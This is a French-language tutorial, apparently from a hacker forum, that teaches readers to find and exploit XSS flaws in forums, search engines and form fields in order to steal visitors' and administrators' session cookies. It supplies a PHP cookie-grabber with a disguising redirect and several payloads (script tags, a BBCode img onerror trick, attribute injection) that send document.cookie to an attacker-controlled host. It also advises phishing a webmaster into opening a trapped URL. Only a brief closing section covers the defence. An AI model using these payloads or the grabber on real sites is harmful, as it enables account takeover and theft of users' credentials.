La vulnérabilité XSS
--------------------------------------------------------------------
Sommaire :
1) Définition
2) Utulisation
3) Repèrage
4) Exploitation
5) Sécurisation
--------------------------------------------------------------------
----------------------------------------------
1) Définition
La faille XSS est une injection de code javascript dans des données lorsque le HTML n'est pas désactivé.
Par exemple, si la faille XSS est présente sur un forum de discussion ou un livre d'or nous pouvons alor poster en message du HTML.
Du coup, nous pouvons injecter du code javascript pour voler des cookies.
>Des cookies?? Tu parle,je commence a avoir faim oO
Du tout ! un cookie en informatique c'est un fichier qui contient des données sous forme d'un .txt enregistré par un site web et récupéré à la prochaine connexion.
Un petit exemple : vous allez pour la première fois sur un site web, vous vous logguez et cochez une case "connexion automatique", un cookie est forgé, car à chaque fois que vous reviendrez sur le site web, vous serez loggué automatiquement car le site web aura vu votre cookie !
Avec la faille XSS, nous pourrons voler le cookie de l'admin ensuite l'utuliser.
----------------------------------------------
----------------------------------------------
2) Utulisation
Pour exploiter la faille XSS, il nous faut un script PHP qui va enregistrer le cookie volé dans un .txt.
Voici un code PHP à mettre dans votre fichier xss.php ou autre :
Code : PHP
==================================================================================================================
<?php
$cookie = $_GET["c"]; // on reconnaît c en variable GET
if($cookie)
{
$fp = fopen("cookies.txt","a"); // On ouvre cookies.txt en edition (il est créé si il n'existe pas)
fputs($fp,$cook . "\r\n"); // On écrit le contenu du cookie sur une nouvelle ligne
fclose($fp); // On ferme le fichier cookies.txt
/* FAIRE UNE REDIRECTION JAVASCRIPT CI-DESSOUS POUR QU'ON SE DOUTE DE RIEN */
}
?>
<script>
location.replace("http://www.google.fr");
</script>
==================================================================================================================
Enregistrez le fichier sous et tapez wss.php et mettez le fichier sur un serveur FTP qui supporte le PHP
Ici nous imaginerons que notre site est http://monsite.fr, donc le fichier aura pour adresse http://monsite.fr/xss.php
passons à la partie suivante.
----------------------------------------------
Repèrage
Trouvez un moteur de recherche. Il vous demande de taper un mot-clé. Tapez en mot-clé <b>test</b>. Si vous voyez une phrase du genre "Résultats trouvés pour <b>test</b>", ou bien "Aucun résultat trouvé pour <b>test</b>", c'est qu'il va falloir aller ailleurs.
Par contre, si vous voyez un truc du style "Aucun résultat pour test", c'est que le HTML n'est pas paralysé, il y a une fameuse faille XSS ! :].
Maintenant, nous allons injecter du code Javascript.
Tapez en mot clé l'expression suivante :
<script>alert('Plop !');</script>
Si vous voyez au beau milieu de la page un joli panneau avec un incône exclamatif et un message "Plop !", c'est qu'il y a réellement une faille XSS :]
* Attention, ce n'est pas tout à fait terminé !
Il faut vérifier que des cookies sont bien enregistrés sur le site web en question ! Sinon à quoi ça servirait d'exploiter cette faille ? A rien.
Allez dans votre barre d'adresse puis tapez :
javascript:alert(document.cookie)
Si un panneau s'affiche avec aucun texte, vous pouvez lacher l'affaire, sinon, si vous voyez un texte du genre "login=; pass=;" etc... C'est que le site web forge des cookies d'identification ! Donc nous sommes bien parti pour une exploitation.
Mais d'abord nous allons essayer d'exploiter les failles XSS sur des forums (partie suivante)
----------------------------------------------
----------------------------------------------
4) Exploitation
Bon, dans cette partie, nous verrons plusieurs exploitations..
a) Forum
C'est la même chose qu'avec les moteur de recherche, une fois membre sur un forum vous avez votre cookie à vous.
Allez poster un message et tapez :
<b>salut !</b>
Si vous voyez salut, c'est que c'est bien parti. Sinon, Fuiyez ^^
Nous allons maintenant prendre un peu plus de risque, exécuter un script qui ouvre en pop-up notre voleur de cookie. insérer ceci après votre petit message discret :
<script>window.open("http://monsite.fr/xss.php?c="+document.cookie)</script>
On comprend parfaitement qu'il y a ?c=, c'est la variable $_GET['c'] de notre code. Ensuite on ferme le quot et on mets un + en javascript pour concaténer la variable superglobale document.cookie qui représente notre cookie, vous me suivez ?
Imaginez qu'une personne dont le pseudo est Dupont et dont le mot de passe est caramel, il aura un cookie qui peut ressembler à ça :
login=Dupont; pass= caramel;
Donc, quand il verra vote message, si il y a une faille XSS, une pop-up va s'ouvrir et va enregistrer vote cookie car c'est comme si le code était : <script>window.open("http://monsite.fr/r.php?c=login=Dupond; pass=caramel;")</script>
Et vu que notre script enregistre la valeur de $_GET['c'] dans cookies.txt, nous aurons stealé son cookie !!
> On peut parfaitement exploiter cette faille avec du BBCode, en particulier avec des images. Comment ? En utilisant les attributs onclick, onmousehover et onerror :]
Tout d'abord, nous allons étudier quelques exemples de codes HTML sur les images et leurs résultats :
Examples :
<img src="hacked.jpg" onclick="javascript:alert('coucou')"> : affiche un panneau d'alerte avec texte 'coucou' si le visiteur clique sur l'image hacked.jpg
<img src="hacked.jpg" onmousehover="javascript:alert('coucou')"> : affiche un panneau semblable à l'exemple précédent si cette fois le visiteur passe le curseur de sa souris sur l'image hacked.jpg
<img src="hacked.jpg" onerror="javascript:alert('coucou')"> : Affiche un panneau d'alerte semblable aux deux exemples précédents si l'image hacked.jpg n'existe pas.
> Et comment on peut faire avec le BBCode si tu peux rentrer qu'une adresse URL dans les [img] ?!
Voici la bonne synthaxe à insérer : Le code suivant entré en message sur le forum :
[img]http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)[/img]
Reviendra à exécuter le code HTML suivant :
<img src="http://" onerror="javascript:window.open('http://monsite.fr/r.php?c='+document.cookie)">
Et vu que l'image http:// n'existe pas, cela aura pour effet d'ouvrir en pop-up votre grabber de cookie avec en variable le cookie du visiteur !
----------------------------------------------
b) Moteur de recherche method GET
Dans cette sous partie nous en revenons au moteur de recherche. Pourquoi méthode GET ? Je vais vous l'expliquer.
Imaginons que vous êtes sur un site nommé http://www.victime.com/index.php. Des que vous tapez en mot clé 'hacked', l'url deviendra ainsi (par exemple) :
http://www.victime.com/index.php?word=hacked
Rien ne nous empêche, bien évidemment, de remplacer hacked par <b>test</b> et pour ensuite apercevoi sur la page un truc du genre : "Aucun résultat trouvé pour test", donc si test apparaît en gras c'est qu'il y a bien XSS :p
Assez parlé, entrez en mot-clé dans le moteur de recherche :
<script>location.replace="http://monsite.fr/xss.php?c="+document.cookie;</script>
Si vous êtes redirigé sur une page qui vole votre propre cookie et qui se ferme de suite, c'est qu'il y a XSS (xD)
Par contre, il va falloir prendre le temps de copier l'URL encodée avant de se faire rediriger. Répétez l'opération jusqu'à avoir réussi à copier l'adresse.
Maintenant, il faut trouver le mail du webmaster, faire un mail crédible et lui demander de se rendre sur votre URL piégée pour qu'il se fasse voler son cookie.
----------------------------------------------
c) Formulaire avec input limité
Si nous entrons dans email la valeur suivante :
c@c.c" onclick="javascript:alert('hacked')
Le code HTML deviendra ainsi : <a href=c@c.c" onclick="javascript:alert('hacked')">Mail</a>
Et des que le visiteur cliquera sur votre mail, un message d'alerte s'affichera avec le texte 'hacked'.
Faites cette action avec ce code :
c@c.c" onclick="javascript:window.open('http://site.com/xss.php?c='+document.cookie')
Et des que le visiteur voudra vous mailer, une pop-up s'ouvrira et volera le cookie de son visiteur si la faille XSS est présente.
----------------------------------------------
5) Sécuriser
Vous devez utiliser la fonction htmlentities avec deux arguments :
- Le premier sera votre variable
- le second est ENT_QUOTES, pour transformer les quots en " et donc interdire les ".
Exemple :
Code : PHP
$texte = htmlentities($_POST['texte'],ENT_QUOTES);
----------------------------------------------
==============================================
Zakizak was here ~ printf("Fuck Lamerz")
==============================================